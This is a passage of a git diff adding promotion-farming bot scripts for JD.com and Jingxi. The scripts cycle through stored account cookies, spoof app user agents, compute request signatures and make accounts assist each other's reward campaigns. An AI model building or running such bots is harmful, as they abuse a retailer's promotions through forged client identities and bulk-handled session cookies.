t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_zjd.ts b/jd_zjd.ts new file mode 100644 index 0000000..df1337f --- /dev/null +++ b/jd_zjd.ts @@ -0,0 +1,145 @@ +/** + * v0.2 + * cron: 15,30,45 0 * * * + * CK1 优先助力HW.ts + */ + +import axios from "axios"; +import {zjdInit, zjdH5st} from "./utils/jd_zjd_tool.js"; +import {o2s, wait, requireConfig, getshareCodeHW} from "./TS_USER_AGENTS"; +import {SHA256} from "crypto-js"; + +let cookie: string = '', res: any = '', UserName: string +let shareCodeSelf: Tuan[] = [], shareCode: Tuan[] = [], shareCodeHW: any = [] + +interface Tuan { + activityIdEncrypted: string, // id + assistStartRecordId: string, // assistStartRecordId + assistedPinEncrypted: string, // encPin unique +} + +!(async () => { + let cookiesArr: string[] = await requireConfig() + for (let [index, value] of cookiesArr.entries()) { + try { + await zjdInit() + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + + res = await api('distributeBeanActivityInfo', {"paramData": {"channel": "FISSION_BEAN"}}) + // o2s(res) + await wait(1000) + + if (res.data.assistStatus === 1) { + // 已开,没满 + console.log('已开团,', res.data.assistedRecords.length, '/', res.data.assistNum, ',剩余', Math.round(res.data.assistValidMilliseconds / 1000 / 60), '分钟') + shareCodeSelf.push({ + activityIdEncrypted: res.data.id, + assistStartRecordId: res.data.assistStartRecordId, + assistedPinEncrypted: res.data.encPin, + }) + } else if (res.data.assistStatus === 2 && res.data.canStartNewAssist) { + // 没开团 + res = await api('vvipclub_distributeBean_startAssist', {"activityIdEncrypted": res.data.id, "channel": "FISSION_BEAN"}) + // o2s(res) + await wait(1000) + if (res.success) { + console.log(`开团成功,结束时间:${res.data.endTime}`) + res = await api('distributeBeanActivityInfo', {"paramData": {"channel": "FISSION_BEAN"}}) + shareCodeSelf.push({ + activityIdEncrypted: res.data.id, + assistStartRecordId: res.data.assistStartRecordId, + assistedPinEncrypted: res.data.encPin, + }) + await wait(1000) + } + } else if (res.data.assistedRecords.length === res.data.assistNum) { + console.log('已成团') + if (res.data.canStartNewAssist) { + res = await api('vvipclub_distributeBean_startAssist', {"activityIdEncrypted": res.data.id, "channel": "FISSION_BEAN"}) + await wait(1000) + if (res.success) { + console.log(`开团成功,结束时间:${res.data.endTime}`) + res = await api('distributeBeanActivityInfo', {"paramData": {"channel": "FISSION_BEAN"}}) + shareCodeSelf.push({ + activityIdEncrypted: res.data.id, + assistStartRecordId: res.data.assistStartRecordId, + assistedPinEncrypted: res.data.encPin, + }) + await wait(1000) + } + } + } else if (!res.data.canStartNewAssist) { + console.log('不可开团') + } + } catch (e) { + continue + } + await wait(1000) + } + + o2s(shareCodeSelf) + await wait(2000) + + for (let [index, value] of cookiesArr.entries()) { + if (shareCodeHW.length === 0) { + shareCodeHW = await getshareCodeHW('zjd'); + } + shareCode = index === 0 + ? Array.from(new Set([...shareCodeHW, ...shareCodeSelf])) + : Array.from(new Set([...shareCodeSelf, ...shareCodeHW])) + + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + + await zjdInit() + for (let code of shareCode) { + try { + console.log(`账号${index + 1} ${UserName} 去助力 ${code.assistedPinEncrypted.replace('\n', '')}`) + res = await api('vvipclub_distributeBean_assist', {"activityIdEncrypted": code.activityIdEncrypted, "assistStartRecordId": code.assistStartRecordId, "assistedPinEncrypted": code.assistedPinEncrypted, "channel": "FISSION_BEAN", "launchChannel": "undefined"}) + + if (res.resultCode === '9200008') { + console.log('不能助力自己') + } else if (res.resultCode === '2400203' || res.resultCode === '90000014') { + console.log('上限') + break + } else if (res.resultCode === '2400205') { + console.log('对方已成团') + } else if (res.resultCode === '9200011') { + console.log('已助力过') + } else if (res.success) { + console.log('助力成功') + } else { + console.log('error', JSON.stringify(res)) + } + } catch (e) { + console.log(e) + break + } + await wait(2000) + } + await wait(2000) + } +})() + +async function api(fn: string, body: object) { + let h5st = zjdH5st({ + 'fromType': 'wxapp', + 'timestamp': Date.now(), + 'body0': JSON.stringify(body), + 'appid': 'swat_miniprogram', + 'body': SHA256(JSON.stringify(body)).toString(), + 'functionId': fn, + }) + let {data} = await axios.post(`https://api.m.jd.com/api?functionId=${fn}&fromType=wxapp×tamp=${Date.now()}`, `functionId=distributeBeanActivityInfo&body=${encodeURIComponent(JSON.stringify(body))}&appid=swat_miniprogram&h5st=${encodeURIComponent(h5st)}`, { + headers: { + 'content-type': 'application/x-www-form-urlencoded', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E217 MicroMessenger/6.8.0(0x16080000) NetType/WIFI Language/en Branch/Br_trunk MiniProgramEnv/Mac', + 'referer': 'https://servicewechat.com/wxa5bf5ee667d91626/173/page-frame.html', + 'Cookie': cookie, + } + }) + return data +} \ No newline at end of file diff --git a/jx_aid_cashback.js b/jx_aid_cashback.js new file mode 100644 index 0000000..cb68b0d --- /dev/null +++ b/jx_aid_cashback.js @@ -0,0 +1,49 @@ +let common = require("./function/common"); +let $ = new common.env('京喜购物返红包助力'); +let min = 5, + help = $.config[$.filename(__filename)] || Math.min(min, $.config.JdMain) || min; +$.setOptions({ + headers: { + 'content-type': 'application/json', + 'user-agent': 'jdapp;iPhone;9.4.6;14.2;965af808880443e4c1306a54afdd5d5ae771de46;network/wifi;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone8,4;addressid/;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'referer': 'https://happy.m.jd.com/babelDiy/Zeus/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html?asid=287215626&un_area=12_904_905_57901&lng=117.612969135975&lat=23.94014745198865', + } +}); +$.readme = ` +在京喜下单,如订单有购物返现,脚本会自动查询返现groupid并予以助力,目前每个账号每天能助力3次 +44 */6 * * * task ${$.runfile} +export ${$.runfile}=2 #如需增加被助力账号,在这边修改人数 +` +eval(common.eval.mainEval($)); +async function prepare() { + let url = `https://wq.jd.com/bases/orderlist/list?order_type=3&start_page=1&last_page=0&page_size=10&callersource=newbiz&t=${$.timestamp}&traceid=&g_ty=ls&g_tk=606717070` + for (let j of cookies['help']) { + $.setCookie(j); + await $.curl(url) + try { + for (let k of $.source.orderList) { + try { + let orderid = k.parentId != '0' ? k.parentId : k.orderId + let url = `https://wq.jd.com/fanxianzl/zhuli/QueryGroupDetail?isquerydraw=1&orderid=${orderid}&groupid=&sceneval=2&g_login_type=1&g_ty=ls` + let dec = await jxAlgo.dec(url) + await $.curl(dec.url) + let now = parseInt(new Date() / 1000) + let end = $.source.data.groupinfo.end_time + if (end > now && $.source.data.groupinfo.openhongbaosum != $.source.data.groupinfo.totalhongbaosum) { + let groupid = $.source.data.groupinfo.groupid; + $.sharecode.push({ + 'groupid': groupid + }) + } + } catch (e) {} + } + } catch (e) {} + } +} +async function main(id) { + common.assert(id.groupid, '没有可助力ID') + let url = `http://wq.jd.com/fanxianzl/zhuli/Help?groupid=${id.groupid}&_stk=groupid&_ste=2&g_ty=ls&g_tk=1710198667&sceneval=2&g_login_type=1` + let dec = await jxAlgo.dec(url) + await $.curl(dec.url) + console.log($.source.data.prize.discount) +} diff --git a/jx_factory_automation.js b/jx_factory_automation.js new file mode 100644 index 0000000..27f1f66 --- /dev/null +++ b/jx_factory_automation.js @@ -0,0 +1,326 @@ +//20 * * * * m_jx_factory_automation.js +//问题反馈:https://t.me/Wall_E_Channel +const {Env} = require('./magic'); +const $ = new Env('M工厂自动化'); +let commodityName = process.env.M_JX_FACTORY_COMMODITY + ? process.env.M_JX_FACTORY_COMMODITY + : '你还没设置要生产的变量M_JX_FACTORY_COMMODITY' +let stop = false; +$.logic = async function () { + if (stop) { + return; + } + let info = await GetUserInfo(); + $.log(JSON.stringify(info)); + + if (!info) { + $.putMsg('没有找到工厂信息'); + return; + } + await GetUserComponent(info.user.encryptPin); + $.log(info.factoryList[0].name, '等级', info.user.currentLevel); + if (info?.productionList) { + let product = info?.productionList[0]; + if (product.investedElectric !== product.needElectric) { + $.log('还没有生产完成'); + return + } + let productionId = product.productionId; + await $.wait(300, 500) + let {active} = await ExchangeCommodity(productionId); + await $.wait(300, 500) + await QueryHireReward(); + await $.wait(300, 500) + await queryprizedetails(active) + await $.wait(300, 500) + } + let factoryId = info?.deviceList[0].factoryId; + $.log('获取工厂id', factoryId); + let deviceId = info?.deviceList[0].deviceId; + $.log('获取设备id', deviceId); + let {commodityList} = await GetCommodityList(); + let filter = commodityList.filter(o => o.name.includes(commodityName)); + if (filter.length === 1) { + let commodity = filter[0]; + if (commodity?.flashStartTime && commodity?.flashStartTime + > $.timestamp()) { + $.log(`还没到时间`) + return; + } + let data = await GetCommodityDetails(commodity.commodityId); + await $.wait(300, 500) + let newVar = await AddProduction(factoryId, deviceId, data.commodityId); + if (newVar?.productionId) { + $.putMsg(`${data.name}已经开始生产`) + info = await GetUserInfo(); + let product = info?.productionList[0]; + let productionId = product.productionId; + await InvestElectric(productionId);//添加电力 + await InvestElectric(productionId); + } + } else { + $.putMsg(`没找到你要生产的 ${commodityName}`) + stop = true; + } +}; + +$.run({ + wait: [2000, 3000] +}).catch( + reason => $.log(reason)); + +async function InvestElectric(productionId) { + let url = `https://m.jingxi.com/dreamfactory/userinfo/InvestElectric?zone=dream_factory&productionId=${productionId}&_time=1637743936757&_ts=1637743936757&_=1637743936758&sceneval=2&g_login_type=1&callback=jsonpCBKR&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn' + } + // noinspection DuplicatedCode + headers['Cookie'] = $.cookie + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +async function AddProduction(factoryId, deviceId, commodityDimId) { + let url = `https://m.jingxi.com/dreamfactory/userinfo/AddProduction?zone=dream_factory&factoryId=${factoryId}&deviceId=${deviceId}&commodityDimId=${commodityDimId}&replaceProductionId=&_time=1637282973549&_ts=1637282973549&_=1637282973550&sceneval=2&g_login_type=1&callback=jsonpCBKGGG&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } else { + $.putMsg(data?.msg) + } + return false; +} + +async function GetDeviceDetails() { + let url = `https://m.jingxi.com/dreamfactory/diminfo/GetDeviceDetails?zone=dream_factory&deviceId=1&_time=1637282971386&_ts=1637282971386&_=1637282971386&sceneval=2&g_login_type=1&callback=jsonpCBKFFF&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +async function GetUserComponent(pin) { + let url = `https://m.jingxi.com/dreamfactory/usermaterial/GetUserComponent?zone=dream_factory&pin=${pin}&_time=1637282950558&_ts=1637282950559&sceneval=2&g_login_type=1&_=1637282951435&sceneval=2&g_login_type=1&callback=jsonpCBKSS&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +// noinspection DuplicatedCode +async function GetUserInfo() { + let url = `https://m.jingxi.com/dreamfactory/userinfo/GetUserInfo?zone=dream_factory&pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&needPickSiteInfo=1&source=&_time=1637282934811&_ts=1637282934811&timeStamp=&h5st=20211119084854812%3B5505286748222516%3Bc0ff1%3Btk02w96e01bc918n2aG34crijQCFgW%2BYZgoTBRpLWz6TM%2FWXRBmShiIQLtGvxCMJkN0g1uyofC04iuOhphAyAm66c3U5%3B2b53e58445b6ec6a5487e95f6aeae526c6c93b4724a0e54e03f3a8105f1caea6%3B3.0%3B1637282934812&_stk=_time%2C_ts%2CmaterialTuanId%2CmaterialTuanPin%2CneedPickSiteInfo%2Cpin%2CsharePin%2CshareType%2Csource%2CtimeStamp%2Czone&_ste=1&_=1637282934818&sceneval=2&g_login_type=1&callback=jsonpCBKY&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +// noinspection DuplicatedCode +async function ExchangeCommodity(productionId) { + let url = `https://m.jingxi.com/dreamfactory/userinfo/ExchangeCommodity?zone=dream_factory&productionId=${productionId}&exchangeType=1&_time=1637282949946&_ts=1637282949946&_=1637282949947&sceneval=2&g_login_type=1&callback=jsonpCBKJJ&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +// noinspection DuplicatedCode +async function GetCommodityList() { + let url = `https://m.jingxi.com/dreamfactory/diminfo/GetCommodityList?zone=dream_factory&flag=2&pageNo=1&pageSize=12&_time=1636619666773&_ts=1636619666773&_=1636619666773&sceneval=2&g_login_type=1&callback=jsonpCBKKK&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +// noinspection DuplicatedCode +async function GetCommodityDetails(commodityId) { + let url = `https://m.jingxi.com/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&commodityId=${commodityId}&_time=1636437544857&_ts=1636437544857&_=1636437544857&sceneval=2&g_login_type=1&callback=jsonpCBKWWW&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + return data?.data?.commodityList?.[0] +} + +async function queryprizedetails(actives) { + let url = `https://m.jingxi.com/active/queryprizedetails?actives=${actives}&_time=1637282950925&_ts=1637282950925&_=1637282950925&sceneval=2&g_login_type=1&callback=jsonpCBKQQ&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +async function QueryHireReward() { + let url = `https://m.jingxi.com/dreamfactory/friend/QueryHireReward?zone=dream_factory&_time=1637282950550&_ts=1637282950550&_=1637282950550&sceneval=2&g_login_type=1&callback=jsonpCBKLL&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} + +async function GetShelvesList() { + let url = `https://m.jingxi.com/dreamfactory/userinfo/GetShelvesList?zone=dream_factory&pageNo=1&pageSize=12&_time=1637282954475&_ts=1637282954475&_=1637282954475&sceneval=2&g_login_type=1&callback=jsonpCBKVV&g_ty=ls`; + // noinspection DuplicatedCode + let headers = { + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Referer': 'https://st.jingxi.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + 'Host': 'm.jingxi.com', + 'Accept-Language': 'zh-cn', + 'Cookie': $.cookie + } + // noinspection DuplicatedCode + headers['User-Agent'] = `jdpingou;iPhone;5.2.2;14.3;${$.randomString( + 40)};network/wifi;model/iPhone12,1;appBuild/100630;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/0;hasOCPay/0;supportBestPay/0;session/1;pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + let data = await $.get(url, headers) + // noinspection DuplicatedCode + if (data?.ret === 0) { + return data?.data + } + return false; +} \ No newline at end of file diff --git a/jx_factory_commodity.js b/jx_factory_commodity.js new file mode 100644 index 0000000..41bf5e1 --- /dev/null +++ b/jx_factory_commodity.js @@ -0,0 +1,97 @@ +//1 0,8-18/3 * * * m_jx_factory_commodity.js +//问题反馈:https://t.me/Wall_E_Channel +const {Env} = require('./magic'); +const $ = new Env('M京喜工厂商品'); +$.logic = async function () { + let {commodityList} = await GetCommodityList(); + for (let i = 0; i < commodityList.length; i++) { + let data = await GetCommodityDetails(commodityList[i].commodityId); + let s = ''; + let hb = data.description.match(/红包[0-9]+(\.?[0-9]+)?元/g) + || data.description.match(/以[0-9]+(\.?[0-9]+)?元/g); + if (hb) { + s = hb[0].replace('以', '红包'); + } else { + let ms = data.description.match(/支付[0-9]+(\.?[0-9]+)?元/g); + if (ms?.length === 1) { + s = ms[0] + } else { + s = ''; + } + } + console.log(`${data.name} ${s}`) + if (s) { + if (s.match(/[0-9]+(\.?[0-9]+)?/g)[0] * 1 < 10) { + $.putMsg(`【${data.name}】 ${s}`) + } + } else { + $.putMsg(`【${data.name}】${data.name}`) + } + + await $.wait(2000, 3000) + } +} + +$.run({ + bot: true, + delimiter: '\n', + whitelist: [1] +}).catch( + reason => $.log(reason)); + +/** + * 商品列表 + * + * try {jsonpCBKKK({"data":{"commodityList":[{"commodityId":1977,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"内蒙古、海南、西藏、甘肃、青海、宁夏、新疆、台湾、朝阳区、钓鱼岛、石家庄市、邢台市、保定市、张家口市、承德市、廊坊市、衡水市、郑州市、商丘市、周口市、大连市、哈尔滨市、佳木斯市、黑河市、大兴安岭地区、盐城市、常州市、淄博市、临沂市、日照市、长沙市、衡阳市、上饶市、成都市、自贡市、阿坝州、遵义市、西安市、宝鸡市、海淀区、丰台区、门头沟、通州区、顺义区、昌平区、江北区、渝中区、港澳、海外不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":4,"name":"收纳罐套装","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/206532/12/7952/7263/6180e459E8b1a3bf2/cc2183b1abde0cf3.png","predictProductionDays":"1","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":8938,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":1,"status":1,"stockNum":534,"userLimitNum":2},{"commodityId":1998,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"内蒙古、西藏、甘肃、青海、宁夏、新疆、台湾、钓鱼岛、黑河市、播州区、五莲县、红花岗区、汇川区、信都区、襄都区、港澳、海外、北七家镇不发货","flashStartTime":0,"label":0,"limitEndTime":0,"limitStartTime":0,"limitType":0,"name":"虫草花","picture":"//img10.360buyimg.com/mobilecms/s200x200_jfs/t1/169987/13/24100/43372/618b85d7E3eef1f38/d4eea0fbc7fda08a.png","predictProductionDays":"5","produceLevelMax":30,"produceLevelMin":1,"productLimFlag":0,"productionTotal":1408,"raceCompleteNum":0,"raceEndTime":0,"raceStockNum":0,"sendElectricPercent":1,"showStock":0,"starLevel":2,"status":1,"stockNum":3594,"userLimitNum":1},{"commodityId":1999,"exchangeLimitSeconds":172800,"exclusiveChannel":0,"expressText":"西藏、甘肃、新疆、台湾、钓鱼岛、哈尔滨市、港澳、海外不发货","flashStartTime":0,"label":0,"limitE